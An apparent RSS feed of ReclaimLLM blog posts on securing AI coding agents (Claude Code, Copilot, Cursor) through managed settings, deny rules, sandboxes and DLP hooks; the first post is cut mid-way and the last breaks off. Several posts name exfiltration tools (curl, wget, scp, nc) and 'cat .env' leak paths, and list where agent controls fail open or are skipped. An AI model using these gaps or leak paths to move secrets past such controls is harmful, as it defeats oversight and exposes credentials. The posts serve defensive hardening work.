<li>Local transcripts under <code>~/.claude/projects/</code> that retain what the agent saw unless you shorten retention or skip history (verify current defaults in Anthropic’s Claude directory docs before you publish internal policy).</li>
<li>Per-developer drift. Individual <code>~/.claude/settings.json</code> files diverge unless managed settings or MDM enforce a baseline.</li>
</ul>
<p>Canadian teams may also align rollout with CCCS guidance on generative AI (ITSAP.00.041); the controls below are tool-specific, not a substitute for your own risk assessment.</p>
<h2>Layer 1: Managed settings (the only layer developers cannot override)</h2>
<p>Anthropic supports org-wide policy through <code>managed-settings.json</code>, MDM-delivered policy, or server-managed settings from the claude.ai admin console. Managed keys take highest precedence over user, project, local, and <code>--settings</code> files. See Settings and Managed settings.</p>
<h3>Keys worth setting</h3>
<table>
<thead>
<tr>
<th>Key</th>
<th>Purpose</th>
</tr>
</thead>
<tbody><tr>
<td>allowManagedPermissionRulesOnly</td>
<td>Managed scope only: ignores allow/ask/deny rules from non-managed settings files</td>
</tr>
<tr>
<td>permissions.disableBypassPermissionsMode</td>
<td>Blocks bypass-permissions mode (nested under permissions, not top-level)</td>
</tr>
<tr>
<td>availableModels</td>
<td>Locks which models developers can select (merge behavior varies by managed source; see settings reference)</td>
</tr>
</tbody></table>
<p>Confirm key names against the current settings reference before you paste them into MDM templates.</p>
<h3>What it misses</h3>
<p>Managed settings govern Claude Code only. Cursor, Codex, Copilot, or a browser tab on the same laptop are out of scope. You still need a delivery mechanism (MDM or the admin console) and a process to verify machines actually received the file.</p>
<h2>Layer 2: Permission rules (deny before allow)</h2>
<p>Permissions let you deny specific tools and paths. Deny and ask rules apply immediately; allow rules from a committed project file may wait until the folder is trusted.</p>
<p>Anthropic’s own example includes patterns such as <code>Read(./.env)</code> and <code>Read(./.env.*)</code>. That blocks Claude’s Read tool—not every way a secret can leave disk.</p>
<h3>What it misses</h3>
<p>Shell commands are a different tool. <code>cat .env</code>, <code>grep</code>, or PowerShell equivalents can still print values unless you add sandbox limits, hooks, or operational habits. For a reproducible walkthrough of ignore files versus deny rules versus shell paths, see <code>.claudeignore</code> and <code>.env</code>—this post keeps that story to one paragraph so you can link there for depth.</p>
<h2>Layer 3: Sandboxing</h2>
<p>Per Anthropic’s sandboxing docs (verified October 2026): the sandbox wraps shell commands. Tools and processes that run outside it include:</p>
<ul>
<li>Built-in file and web tools (Read, Edit, Write, WebFetch, WebSearch), which follow permission rules instead—a <code>denyRead</code> entry does not stop the Read tool, and <code>allowedDomains</code> does not limit WebFetch the same way.</li>
<li>Other processes Claude Code starts: command hooks, local MCP servers, plugin monitors, LSP servers, and helper commands such as the status line command and <code>apiKeyHelper</code>, which run with full access.</li>
</ul>
<p>On native Windows, Claude Code runs commands unsandboxed; Anthropic recommends WSL2 for sandboxed shell execution.</p>
<h3>What it misses</h3>
<p>File tools, MCP, hooks, plugin monitors, LSP servers, and status-line/<code>apiKeyHelper</code> helpers all sit outside the shell sandbox. You need sandbox plus deny rules plus hooks, not “turn on sandbox and stop worrying.”</p>
<h2>Layer 4: Hooks for inspection and redaction</h2>
<p>Claude Code exposes dozens of hook events (hooks reference); three that matter most for data loss prevention are PreToolUse, UserPromptSubmit, and PostToolUse. Hooks run at the boundary between the agent and your filesystem or network.</p>
<h3>How ReclaimLLM uses Claude Code hooks</h3>
<ol>
<li>Env DLP (default on). On PreToolUse, recognized <code>.env</code> and <code>*.env</code> Read calls are redirected to a sanitized temporary copy; Bash-style commands that dump env files are replaced with a block message. If a recognized env source cannot be inspected (unreadable, oversized), the handler raises <code>DLPRedactionError</code> and returns <code>permissionDecision: deny</code>—fail-closed for that class of access when the hook runs.</li>
<li>Egress guard. Before shell execution, the guard blocks common exfiltration paths (for example <code>curl</code>, <code>wget</code>, <code>scp</code>, <code>rsync</code>, <code>nc</code>, and several other binaries and inline fetch patterns) toward non-allowlisted destinations, plus a GeoIP country firewall. Cloud metadata endpoints are rejected server-side even if an org tries to allowlist them.</li>
</ol>
<p>Local ambient redaction elsewhere in ReclaimLLM is string replacement plus folder exclusion, not semantic classification; direct env-file reads redact every assignment in the sanitized copy.</p>
<h3>Honest limits (two different failure modes)</h3>
<p>When the hook runs, recognized env-file DLP is fail-closed as described above. That is not the same as “hooks always block every leak.”</p>
<p>When the hook process fails, behavior differs:</p>
<ul>
<li>Hook crash, removal, or timeout: Claude Code’s default is fail-open unless you set <code>onFailure: "block"</code> (available in Claude Code v2.1.295+). ReclaimLLM’s installer does not set <code>onFailure</code> on injected hooks; teams can add it themselves if they want crash/timeout fail-closed.</li>
<li>Egress guard backend errors: the guard logs and may fail open (<code>allowed=1</code>) on non-2xx responses or timeouts.</li>
</ul>
<p>That is why coverage detection without MDM exists: ReclaimLLM coverage is detection, not MDM. Pair hooks with alerts when sensitive files are touched (AD-004) and with pre-execution egress controls (egress guard).</p>
<h2>Layer 5: MCP servers and plugins</h2>
<p>Claude Code stores MCP server configuration in <code>~/.claude.json</code>. Review entries for hardcoded tokens, keep an approved-server list, and prefer environment variables or helper-based credentials over literals in JSON.</p>
<p>For a cross-tool MCP deep dive, see MCP security for coding agents when published; until then, use the MCP installation hooks announcement as product context.</p>
<h3>What it misses</h3>
<p>MCP servers run outside the shell sandbox and may not respect the same permission deny rules as built-in Read. Treat each server as its own mini-service with credentials and egress.</p>
<h2>Layer 6: Transcripts and retention</h2>
<p>Claude Code keeps local session history under <code>~/.claude/projects/</code> (also used by ReclaimLLM’s historical sync for backfill). ReclaimLLM-owned local artifacts use owner-only permissions; provider-owned transcript files may still hold unredacted content after a read. See AI coding transcripts as a secret store for retention and purge options.</p>
<h3>What it misses</h3>
<p>Transcript controls reduce blast radius after a mistake; they do not undo a secret already sent to inference. Combine retention policy with hook redaction and rotation playbooks.</p>
<h2>Layer 7: A central gateway for keys and model policy</h2>
<p>ReclaimLLM’s enterprise LLM gateway keeps team-scoped keys and provider credentials server-side. The gateway does not see local file reads—it governs API traffic you route through it, not everything Claude Code touches on disk.</p>
<h3>What it misses</h3>
<p>Developers can still point Claude Code directly at a provider unless you combine gateway policy with routing detection (coverage signals AD-013). Use gateway keys as one layer, not the whole story.</p>
<h2>Layer 8: Detection and an audit trail</h2>
<p>Even perfect prevention fails sometimes. Plan for evidence:</p>
<ul>
<li>Sensitive file access alerts (AD-004): P0 email with throttling; zero-exfiltration email bodies (no secret values in mail).</li>
<li>External network egress detector (AD-015): flags anomalous outbound patterns after the fact.</li>
<li>Admin audit log: 365-day retention and CSV export per ReclaimLLM audit log docs.</li>
</ul>
<p>Privacy controls and US or EU data residency apply to ReclaimLLM-hosted data; ReclaimLLM’s SOC 2 Type II is targeted for early 2027—not certified today.</p>
<h2>A 30-minute rollout checklist</h2>
<p>Copy this table into your runbook and assign owners before you widen Claude Code to client code.</p>
<table>
<thead>
<tr>
<th>#</th>
<th>Control</th>
<th>Where</th>
<th>Owner</th>
<th>Done?</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>Managed settings deployed</td>
<td>MDM / claude.ai console</td>
<td>IT</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>.env / key deny rules</td>
<td>managed settings</td>
<td>Security</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>Sandbox on (macOS / Linux / WSL)</td>
<td>managed settings</td>
<td>Security</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>Hooks installed + coverage alerting</td>
<td>Developer machines</td>
<td>Platform</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>MCP allowlist reviewed</td>
<td>~/.claude.json / plugins</td>
<td>Platform</td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>Transcript retention policy set</td>
<td>Claude settings + docs</td>
<td>Security</td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>Gateway keys per team</td>
<td>Gateway admin</td>
<td>Platform</td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>Alerts routed to an owner</td>
<td>Email / SIEM</td>
<td>Security</td>
<td></td>
</tr>
<tr>
<td>9</td>
<td>Quarterly access review</td>
<td>Dashboard / audit export</td>
<td>CTO</td>
<td></td>
</tr>
</tbody></table>
<p>Install hooks with native hooks documentation and verify the Coverage tab after the first wave of installs.</p>
<h2>Is Claude Code safe for enterprise use?</h2>
<p>Claude Code can be run safely for many enterprises when you treat it like any other privileged developer tool: managed baseline, deny rules for secret paths, sandbox where supported, hooks at the tool boundary, MCP hygiene, transcript policy, and detection you can show auditors. Anthropic documents the knobs; your security team owns how strictly they are set and verified.</p>
<p>No vendor—including Anthropic or ReclaimLLM—can guarantee zero disclosure if developers paste live secrets into prompts. The goal is defense in depth with measurable coverage, not a single checkbox.</p>
<p>Next step: See which Claude Code sessions touched secrets—start free. For a live walkthrough, book a 20-minute rollout review.</p>
<h2>FAQ</h2>
<h3>Is Claude Code safe for enterprise use?</h3>
<p>It can be, with managed settings, permission denies, sandboxing (on supported platforms), hooks, MCP review, transcript policy, and audit evidence. Safety depends on configuration and monitoring, not the product name alone.</p>
<h3>What are the main Claude Code security risks?</h3>
<p>Uncontrolled file and shell access, secrets in prompts and transcripts, MCP credentials, and inconsistent per-developer settings. Agent behavior aligns with OWASP LLM02 and LLM06 if left unmanaged.</p>
<h3>Can developers override Claude Code managed settings?</h3>
<p>No for keys delivered through managed settings, MDM, or the admin console—those take highest precedence. User and project files cannot weaken managed deny rules when <code>allowManagedPermissionRulesOnly</code> is enabled.</p>
<h3>Does the Claude Code sandbox stop the agent reading <code>.env</code>?</h3>
<p>The sandbox wraps shell commands, not built-in Read/Edit/Write. Use permission deny rules and hook DLP for file tools; do not rely on sandbox alone.</p>
<h3>Do Claude Code hooks block every leak?</h3>
<p>No. Recognized <code>.env</code> reads are sanitized or denied when the hook runs. Hook process crash, timeout, or egress-backend errors can still fail open unless you configure Claude’s <code>onFailure: "block"</code> and monitor coverage.</p>
<h3>Where does Claude Code store conversation history?</h3>
<p>Local project history under <code>~/.claude/projects/</code>. Treat those JSONL files as sensitive; align retention with your data classification policy and verify current Anthropic defaults in official docs before audit season.</p>
<blockquote>
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/claude-code-security-best-practices">https://reclaimllm.com/blogs/claude-code-security-best-practices</a></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[GitHub Copilot security risks: what content exclusion doesn't cover (Agent mode, MCP, CLI)]]></title><description><![CDATA[This article was originally published on ReclaimLLM: Copilot content exclusion skips Edit and Agent mode in VS Code, third-party MCP servers and symlinks…]]></description><link>https://reclaimllm-blog.hashnode.dev/github-copilot-security-risks-what-content-exclusion-doesn-t-cover-agent-mode-mcp-cli</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/github-copilot-security-risks-what-content-exclusion-doesn-t-cover-agent-mode-mcp-cli</guid><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Sat, 31 Oct 2026 14:18:30 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/github-copilot-security-risks">https://reclaimllm.com/blogs/github-copilot-security-risks</a></p>
</blockquote>
<p>Copilot content exclusion skips Edit and Agent mode in VS Code, third-party MCP servers and symlinks. Here are the gaps and the controls that cover them.</p>
<h2>Executive summary</h2>
<ul>
<li>Covers the gap GitHub’s own content-exclusion docs admit: it doesn’t apply in Edit/Agent mode, isn’t guaranteed for third-party MCP servers, and is Business/Enterprise-plan-only.</li>
<li>GitHub’s <code>preToolUse</code> hooks fail closed on crashes/bad exit codes and fail open only on timeout—not a blanket fail-open like Claude Code/Cursor.</li>
<li>Maps each gap to a control: PreToolUse hooks + egress guard, MCP config review, coverage for Free plans on corp laptops, and audit evidence.</li>
<li>When the hook runs, recognized env-file DLP is fail-closed (<code>DLPRedactionError</code> → deny).</li>
</ul>
<p>Content exclusion stops Copilot from using listed files as context in the tools GitHub controls. GitHub’s docs also say it is not supported in Edit and Agent modes of Copilot Chat in VS Code and other editors, is not guaranteed for third-party MCP servers, and does not apply to symlinks or remote filesystems. If your security story stops at “we turned on content exclusion,” Agent mode and MCP can still see paths you thought were hidden.</p>
<p>This article quotes those documented limits, maps each gap to a control, and shows where GitHub Copilot data security fits as an additional layer for teams on Business or Enterprise plans.</p>
<h2>What content exclusion does well</h2>
<p>Content exclusion lets enterprise, organization, and repository administrators define path rules so Copilot does not use matching files as context—when the feature applies. It is available on GitHub Copilot Business and Enterprise, not individual Free plans on the same laptop.</p>
<p>Administrators configure rules in GitHub settings; developers see fewer suggestions from excluded paths in supported surfaces. The how-to guide walks through repo- and org-level patterns.</p>
<p>On 2026-09-02, GitHub announced general availability of content exclusions in the Copilot app and Copilot CLI: “The GitHub Copilot app and Copilot CLI now respect content exclusion policies configured by enterprise, organization, and repository administrators.” That is real progress—and it still leaves the VS Code Agent/Edit gaps documented on the concepts page.</p>
<h2>Six GitHub Copilot security risks content exclusion leaves open</h2>
<p>Each row below is a documented or operational gap, a practical control, and a suggested owner.</p>
<table>
<thead>
<tr>
<th>#</th>
<th>Risk</th>
<th>Control</th>
<th>Owner</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>Edit and Agent mode in VS Code and other editors — GitHub states content exclusion is not supported in Edit and Agent modes of Copilot Chat in VS Code and other editors.</td>
<td>PreToolUse hooks plus egress guard on the developer machine; treat Agent mode as in-scope for DLP</td>
<td>Platform / Security</td>
</tr>
<tr>
<td>2</td>
<td>Third-party MCP servers — exclusion is not guaranteed to be respected.</td>
<td>MCP allowlist, review .vscode/mcp.json for tokens, hook inspection on MCP tool calls</td>
<td>Platform</td>
</tr>
<tr>
<td>3</td>
<td>Indirect IDE semantic info — types, hover definitions, build config can leak context without a literal file read of an excluded path.</td>
<td>Secrets out of repo; hook redaction on tool output; AD-004 sensitive-file alerts</td>
<td>Security</td>
</tr>
<tr>
<td>4</td>
<td>Symlinks and remote filesystems — excluded paths reached via symlink or remote mount may still surface.</td>
<td>Avoid symlinked secret dirs; hook denies on sensitive paths</td>
<td>Engineering</td>
</tr>
<tr>
<td>5</td>
<td>Terminal and tool output in agent sessions — an agent can run a command that prints a secret even when the source file is excluded from Copilot context.</td>
<td>Shell hooks, egress guard, rotate after exposure</td>
<td>Platform</td>
</tr>
<tr>
<td>6</td>
<td>Free or Individual Copilot on corporate laptops — content exclusion is a Business/Enterprise control; personal plans ignore org policy.</td>
<td>Coverage detection for hook install; policy forbidding personal Copilot on corp code</td>
<td>IT / Security</td>
</tr>
</tbody></table>
<p>Re-check the content exclusion concepts page on the day you publish internal guidance; Copilot Agent behavior is the area most likely to change release to release.</p>
<h3>Why Agent mode dominates Copilot security conversations</h3>
<p>GitHub’s coding agent concepts describe agents that plan work, invoke tools, and iterate with less human confirmation than inline completion. That is where OWASP-style excessive agency shows up in day-to-day use: the model chooses file reads and terminal commands. Content exclusion was designed for context selection in supported chat surfaces—not as a full agent policy engine. Security reviews that only ask “is .env excluded?” miss the Agent-mode footnote on the same docs page.</p>
<h3>Symlinks, remote FS, and semantic leakage in practice</h3>
<p>Symlink and remote-filesystem caveats matter when monorepos mount secrets from a shared drive or when developers symlink config/ into a repo root. Semantic leakage is subtler: the agent may infer credentials from types or error strings even when the literal .env path is excluded. Controls here are architectural—keep secrets out of developer trees, use short-lived credentials, and assume Agent mode can combine IDE knowledge with terminal output.</p>
<h2>Copilot agent security: hooks are the control point</h2>
<p>GitHub documents hooks configuration and using hooks with Copilot agents. VS Code documents Copilot agent hooks. Hooks fire around session lifecycle, prompts, and tool use—exactly where Agent mode touches files and the terminal.</p>
<h3>How ReclaimLLM uses Copilot hooks</h3>
<p>Running <code>rclm-hooks-install</code> for Copilot writes <code>~/.copilot/hooks/rclm.json</code> globally, or <code>.github/hooks/rclm.json</code> with <code>--local</code>. The installer does not modify <code>.vscode/mcp.json</code>; that file is Copilot’s MCP configuration and is where hardcoded tokens often appear.</p>
<p>ReclaimLLM registers five events—SessionStart, UserPromptSubmit, PreToolUse, PostToolUse, and Stop—each with a 30-second timeout. Product details are in the GitHub Copilot hooks announcement.</p>
<p>When PreToolUse runs, recognized <code>.env</code> / <code>*.env</code> access follows the same env DLP model as other agents: sanitized reads, blocked shell dumps, and <code>DLPRedactionError</code> → deny when the hook runs.</p>
<h3>Honest limits — Copilot is not Claude Code</h3>
<p>Do not copy the blanket “hooks fail open” story from other tools onto Copilot. GitHub’s hook runner behaves differently:</p>
<ul>
<li>For most events, failures (non-zero exit other than 2, or errors) are logged and the action may proceed.</li>
<li>For <code>preToolUse</code>, GitHub documents fail-closed behavior on exit code 2 and on non-timeout errors—a crash or bad JSON on PreToolUse blocks the tool call.</li>
<li>Timeout on <code>preToolUse</code> is the scenario where the tool can still proceed—ReclaimLLM’s 30-second timeout matters here.</li>
</ul>
<p>Separately, if the hook runs successfully, env-file DLP is fail-closed for recognized paths. If the hook is missing, nothing is blocked—use coverage alerts AD-010–013 to find uncovered machines. Coverage is detection, not MDM.</p>
<p>The deprecated VS Code “Local” hook harness that required Workspace Trust is not the architecture ReclaimLLM uses for current Copilot hooks; do not block rollout on that older requirement.</p>
<h2>Copilot data leakage over the network</h2>
<p>Content exclusion is about context, not outbound HTTP from a terminal the agent opened. ReclaimLLM’s pre-execution egress guard applies to Copilot the same way as Claude Code and Cursor: it blocks common curl/wget/scp/rsync/nc-style exfiltration and fetches to non-allowlisted destinations before shell execution, with a country firewall. Read the egress firewall walkthrough for the full control model.</p>
<p>AD-015 adds after-the-fact detection of external egress anomalies—useful when you need evidence for incident review, not just blocking.</p>
<h2>GitHub Copilot secrets: where they actually leak</h2>
<p>Common paths security teams miss:</p>
<ul>
<li>Prompts with pasted CI logs, ticket text, or support bundles.</li>
<li>Agent file reads in Agent mode where content exclusion does not apply.</li>
<li>MCP configuration in <code>.vscode/mcp.json</code> with long-lived tokens.</li>
<li>Session state on disk—ReclaimLLM syncs Copilot history from <code>~/.copilot/session-state/**/events.jsonl</code> for capture and review (see native hooks docs).</li>
</ul>
<p>For transcript risk across tools, see AI coding transcripts as a secret store. For MCP-specific hardening, see MCP security for coding agents. General env hygiene applies across IDEs: prevent API keys in <code>.env</code> from reaching AI tools.</p>
<p>Local redaction in ReclaimLLM is string replacement plus folder exclusion; it is not a substitute for rotating a key that already reached a model.</p>
<h2>GitHub Copilot governance in one page</h2>
<p>A minimal governance stack for a small engineering org:</p>
<ol>
<li>Policies — who may use Agent mode, which repos are in scope, which plans are allowed on corp devices.</li>
<li>Content exclusion — path rules on Business/Enterprise, knowing Agent/Edit limits.</li>
<li>Hooks — PreToolUse DLP and egress guard on every machine that runs agents.</li>
<li>MCP — approved servers only; no secrets in JSON.</li>
<li>Audit — GitHub enterprise audit log events plus ReclaimLLM session and sensitive-file views.</li>
<li>Alert owner — AD-004 email and Signals triage with zero-exfiltration bodies.</li>
</ol>
<p>A fuller operating model for small teams lives in AI governance for small engineering teams. Hook DLP versus endpoint DLP versus AIDR is covered in hook DLP vs endpoint AI DLP vs AIDR.</p>
<p>ReclaimLLM-hosted data can stay in US or EU regions; SOC 2 Type II is targeted for early 2027. This post is about GitHub Copilot in the IDE—not Microsoft 365 Copilot in Office apps.</p>
<h2>Checklist: closing the gaps</h2>
<table>
<thead>
<tr>
<th>Gap</th>
<th>Control</th>
<th>Where</th>
</tr>
</thead>
<tbody><tr>
<td>Agent / Edit mode</td>
<td>PreToolUse hooks + egress guard</td>
<td>Developer machine</td>
</tr>
<tr>
<td>MCP servers</td>
<td>MCP allowlist + config secret review</td>
<td>.vscode/mcp.json</td>
</tr>
<tr>
<td>Symlinks / remote FS</td>
<td>Avoid symlinked secret dirs; hook denies</td>
<td>Repository layout</td>
</tr>
<tr>
<td>Terminal output</td>
<td>Hook redaction + AD-004 alerts</td>
<td>Device + backend</td>
</tr>
<tr>
<td>Free plans on corp laptops</td>
<td>Coverage detection</td>
<td>Coverage tab</td>
</tr>
<tr>
<td>Evidence</td>
<td>Audit log export + session capture</td>
<td>Admin</td>
</tr>
</tbody></table>
<p>If you are comparing layers, start with what AI DLP is and measuring coverage without MDM.</p>
<h3>Mapping gaps to OWASP LLM risks</h3>
<p>| Gap | Typical OWASP LLM mapping |
| --- | --- | --- |
| Agent/Edit mode context | LLM02 Sensitive Information Disclosure |
| MCP third-party servers | LLM05 Supply Chain + LLM02 |
| Terminal output | LLM02 + LLM06 Excessive Agency |
| Personal Copilot on corp laptop | LLM09 Misconfiguration |
| Missing audit trail | LLM10 Insufficient logging |</p>
<p>Use the mapping in risk registers; it does not replace reading GitHub’s limitation text verbatim in your evidence pack.</p>
<h2>What to do next</h2>
<p>Content exclusion is a useful governance tool where GitHub applies it. It is not a complete Copilot agent security program. Layer path rules with hooks at PreToolUse, network egress controls, MCP review, and session evidence you can export.</p>
<p>Primary CTA: Cover Copilot Agent mode with hook DLP—start free. Install reference: ReclaimLLM install guide.</p>
<h2>FAQ</h2>
<h3>Does GitHub Copilot content exclusion work in Agent mode?</h3>
<p>GitHub’s documentation states content exclusion is not supported in Edit and Agent modes of Copilot Chat in VS Code and other editors. Verify the current wording on GitHub Docs before audits.</p>
<h3>Does content exclusion protect secrets from MCP servers?</h3>
<p>No guarantee. GitHub documents that content exclusion is not guaranteed to be respected for third-party MCP servers. Review MCP config and use hooks on MCP tool execution.</p>
<h3>Is GitHub Copilot safe for proprietary code?</h3>
<p>Many teams use it safely with Business/Enterprise controls, exclusion where applicable, secrets hygiene, hooks, and monitoring. Safety depends on configuration—especially Agent mode—not the feature name alone.</p>
<h3>Which Copilot plans support content exclusion?</h3>
<p>GitHub Copilot Business and Enterprise. Individual/Free plans on the same device do not inherit org exclusion rules.</p>
<h3>How do I audit what Copilot agents did?</h3>
<p>Combine GitHub enterprise audit logs with session capture and sensitive-file alerts in ReclaimLLM. Hook coverage metrics show whether DLP was actually installed when sessions ran.</p>
<blockquote>
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/github-copilot-security-risks">https://reclaimllm.com/blogs/github-copilot-security-risks</a></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Cursor security checklist for engineering teams: 10 settings to check before rollout]]></title><description><![CDATA[This article was originally published on ReclaimLLM: Privacy mode, sandbox.json, hooks with failClosed, MCP review, rules and audit: a 10-point Cursor…]]></description><link>https://reclaimllm-blog.hashnode.dev/cursor-security-checklist-for-engineering-teams-10-settings-to-check-before-rollout</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/cursor-security-checklist-for-engineering-teams-10-settings-to-check-before-rollout</guid><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Sat, 31 Oct 2026 14:16:06 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/cursor-security-checklist">https://reclaimllm.com/blogs/cursor-security-checklist</a></p>
</blockquote>
<p>Privacy mode, sandbox.json, hooks with failClosed, MCP review, rules and audit: a 10-point Cursor security checklist for teams, with what each setting misses.</p>
<h2>Executive summary</h2>
<ul>
<li>A 10-point admin checklist (Privacy Mode, sandbox, network policy, hooks, MCP review, rules, audit) for Cursor Teams/Enterprise rollouts.</li>
<li>Each setting includes where it lives, the default, and what it misses—including that <code>.cursorignore</code> and rules are guidance, not enforcement.</li>
<li>Cursor offers <code>failClosed</code> for security-critical hooks; ReclaimLLM’s installer does not set it—env DLP still fail-closes recognized <code>.env</code> access when the hook runs; crash/timeout uses Cursor’s default fail-open.</li>
<li>Privacy Mode limits training/retention; it does not stop a secret being sent in a prompt.</li>
</ul>
<p>To secure Cursor for a team: enforce Privacy Mode, turn on the agent sandbox with a deny-by-default network policy, add hooks for shell, MCP, and file reads (and set <code>failClosed</code> where you accept downtime if a hook breaks), review MCP servers, and keep an audit trail of what agents read. Cursor gives admins more knobs than a single ignore file—but each knob has a documented blind spot.</p>
<p>Use this checklist before client code lands in Cursor Teams or Enterprise. For how ReclaimLLM complements Cursor, start at Cursor security.</p>
<h2>The 10-point Cursor security checklist</h2>
<p>Review the table first, then work through each row with your platform and security leads.</p>
<table>
<thead>
<tr>
<th>#</th>
<th>Setting</th>
<th>Where</th>
<th>What it misses</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>Privacy Mode enforced for the team</td>
<td>Team admin / enterprise policy</td>
<td>Data still flows to Cursor and model providers for inference; limits training/retention, not accidental prompts</td>
</tr>
<tr>
<td>2</td>
<td>Agent sandbox on</td>
<td>sandbox.json / team policy</td>
<td>type: "insecure_none" disables sandbox entirely</td>
</tr>
<tr>
<td>3</td>
<td>networkPolicy.default: "deny" + allowlist</td>
<td>sandbox.json</td>
<td>Applies to sandboxed commands only</td>
</tr>
<tr>
<td>4</td>
<td>readBoundary: "workspace"</td>
<td>sandbox.json (Cursor 3.23+)</td>
<td>Default "system" is wider; sandbox does not replace hook DLP</td>
</tr>
<tr>
<td>5</td>
<td>Hooks: beforeShellExecution, beforeMCPExecution, beforeReadFile, beforeSubmitPrompt</td>
<td>.cursor/hooks.json or team dashboard</td>
<td>Hook process crash/timeout fails open unless failClosed: true</td>
</tr>
<tr>
<td>6</td>
<td>failClosed: true on security-critical hooks</td>
<td>Per-hook definition</td>
<td>Blocks work if the hook breaks—choose per hook</td>
</tr>
<tr>
<td>7</td>
<td>MCP server review</td>
<td>.cursor/mcp.json</td>
<td>Tokens in config; third-party server behavior</td>
</tr>
<tr>
<td>8</td>
<td>.cursorignore for noise, not secrets</td>
<td>Repository</td>
<td>Not a security boundary—see why .cursorignore is not DLP</td>
</tr>
<tr>
<td>9</td>
<td>Rules (.cursor/rules) for guidance only</td>
<td>Repository</td>
<td>Rules are prompts, not enforcement (Knostic research on rule following)</td>
</tr>
<tr>
<td>10</td>
<td>Audit trail + coverage alerts</td>
<td>ReclaimLLM backend</td>
<td>Detection is after the fact unless hooks blocked the action</td>
</tr>
</tbody></table>
<h2>1. Privacy Mode enforced for the team</h2>
<p>Cursor’s data use page and security page describe Privacy Mode: when enabled, Cursor states that your code is not used for training and that zero-data-retention agreements apply with model providers where supported. Team and enterprise admins can enforce Privacy Mode so new members inherit it.</p>
<h3>What it misses</h3>
<p>Privacy Mode does not stop a developer from pasting a live API key into chat. Requests still route through Cursor’s backend for prompt building even when you bring your own API key. Treat Privacy Mode as a data handling control, not secret prevention.</p>
<h2>2–4. Sandbox and network policy</h2>
<p>Cursor’s sandbox reference defines how agent shell commands run:</p>
<ul>
<li>Set sandbox <code>type</code> to a workspace mode—not <code>"insecure_none"</code>, which disables isolation.</li>
<li>Use <code>networkPolicy.default: "deny"</code> and an explicit allowlist so outbound traffic is blocked by default inside the sandbox.</li>
<li>Set <code>readBoundary: "workspace"</code> (Cursor 3.23+) instead of the default <code>"system"</code> if you want filesystem reads limited to the workspace for sandboxed commands.</li>
</ul>
<p>Team-admin policies layer on top of repo <code>sandbox.json</code> and cannot be weakened by local files—verify what your plan exposes in the admin console before rollout day.</p>
<h3>What they miss</h3>
<p>Built-in agent file tools and unsandboxed paths may still reach sensitive files. Pair sandbox policy with <code>beforeReadFile</code> hooks and permission hygiene. Extension-based attacks (for example malicious VS Code extensions targeting Cursor) are a separate class of risk; browser-style extension review still matters (LayerX CursorJacking research describes credential theft via rogue extensions—not something sandbox.json alone fixes).</p>
<h2>5–6. Hooks: the enforcement point (and failure modes)</h2>
<p>Cursor hooks run before shell execution, MCP calls, file reads, and prompt submit. Cursor documents that crashes, timeouts, and non-zero exit codes other than <code>2</code> fail open by default: Cursor logs the failure and allows the action through. Setting <code>failClosed: true</code> blocks the action when the hook fails; Cursor recommends that for security-critical <code>beforeMCPExecution</code> hooks.</p>
<p>Team and enterprise customers can manage hooks from the dashboard so every machine gets the same policy.</p>
<p>Cursor’s hook surface is larger than the four events in the checklist—tab and lifecycle hooks exist for other workflows—but for agent security the four <code>before*</code> hooks are the ones that gate shell, MCP, filesystem reads, and prompt submission. Document which events your security vendor registers so auditors do not confuse autocomplete hooks with agent enforcement.</p>
<h3>How ReclaimLLM uses Cursor hooks</h3>
<p><code>rclm-hooks-install --cursor</code> writes <code>.cursor/hooks.json</code> (Cursor capture announcement). Cursor transcripts are the capture source of truth for session review. The egress guard covers Cursor shell exfiltration; AD-015 flags external egress anomalies afterward.</p>
<p>Env DLP when the hook runs: recognized <code>.env</code> and <code>*.env</code> reads are sanitized or denied; shell dumps of env files are blocked; <code>DLPRedactionError</code> denies the action—fail-closed for that class of access.</p>
<p>When the hook process fails: ReclaimLLM does not set <code>failClosed</code> on any of its eighteen injected Cursor hooks, so Cursor’s default fail-open applies on crash or timeout—even though Cursor offers <code>failClosed</code> and you may want it on MCP hooks you own. Monitor coverage AD-010–013; coverage is detection, not MDM. See AI DLP coverage without MDM.</p>
<p>Local ambient redaction remains string replacement plus folder exclusion; direct env-file reads redact all assignments in the sanitized copy.</p>
<h2>7. MCP in Cursor</h2>
<p>Treat <code>.cursor/mcp.json</code> like any secrets file: approved servers only, no long-lived tokens in JSON, rotate anything that ever appeared in a repo. MCP gateways can help centralize auth (industry write-ups on MCP gateways discuss the pattern neutrally); your baseline is still review plus hooks on <code>beforeMCPExecution</code>.</p>
<p>Link forward to MCP security for coding agents for a cross-IDE MCP program.</p>
<h2>8–9. Rules and <code>.cursorignore</code> are guidance, not guardrails</h2>
<p><code>.cursorignore</code> reduces noise in context; it does not reliably block agent reads when a user or rule asks for a path. One row in the checklist is enough—details live in why <code>.cursorignore</code> is not DLP.</p>
<p><code>.cursor/rules</code> steer the model; they are not enforced permissions. Research shows agents may ignore written rules under pressure—use hooks and sandbox policy for anything compliance cares about.</p>
<p>Shared env-file practices: prevent API keys in <code>.env</code> from reaching AI tools.</p>
<h2>10. Evidence: what to keep for audits</h2>
<p>Cursor admins need proof after the fact:</p>
<ul>
<li>Sessions with tool timelines and sensitive-content badges.</li>
